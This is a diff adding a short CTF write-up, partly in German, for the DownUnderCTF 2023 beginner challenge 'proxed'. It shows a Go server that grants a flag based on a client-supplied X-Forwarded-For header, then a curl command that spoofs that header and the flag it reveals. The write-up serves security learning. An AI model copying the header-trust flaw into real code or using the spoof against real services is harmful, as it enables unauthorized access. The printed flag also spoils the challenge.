htb updates and ductf update

DownUnderCTF 2023/beginner/proxed/README.md

@@ -0,0 +1,58 @@
+Go Source:
+
+```go
+package main
+
+import (
+	"flag"
+	"fmt"
+	"log"
+	"net/http"
+	"os"
+	"strings"
+)
+
+var (
+	port = flag.Int("port", 8081, "The port to listen on")
+)
+
+func main() {
+
+	flag.Parse()
+
+	http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
+		xff := r.Header.Values("X-Forwarded-For")
+
+		ip := strings.Split(r.RemoteAddr, ":")[0]
+
+		if xff != nil {
+			ips := strings.Split(xff[len(xff)-1], ", ")
+			ip = ips[len(ips)-1]
+			ip = strings.TrimSpace(ip)
+		}
+
+		if ip != "31.33.33.7" {
+			message := fmt.Sprintf("untrusted IP: %s", ip)
+			http.Error(w, message, http.StatusForbidden)
+			return
+		} else {
+			w.Write([]byte(os.Getenv("FLAG")))
+		}
+	})
+
+	log.Printf("Listening on port %d", *port)
+	log.Fatal(http.ListenAndServe(fmt.Sprintf(":%d", *port), nil))
+}
+
+```
+
+Es ist ziemlich eindeutig, dass man seine IP Adresse spoofen soll, um die Flagge aus den ENV vars zu lesen.
+
+Ein hilfreicher Stack-Overflow Beitrag hilft dabei: https://stackoverflow.com/questions/5188584/how-can-i-spoof-the-sender-ip-address-using-curl
+
+=> SOLVED
+```bash
+┌──(kali㉿kali)-[/ctf/DownUnderCTF 2023/beginner/static file server]
+└─$ curl --header "X-Forwarded-For: 31.33.33.7" http://proxed.duc.tf:30019/
+DUCTF{17_533m5_w3_f0rg07_70_pr0x} 
+```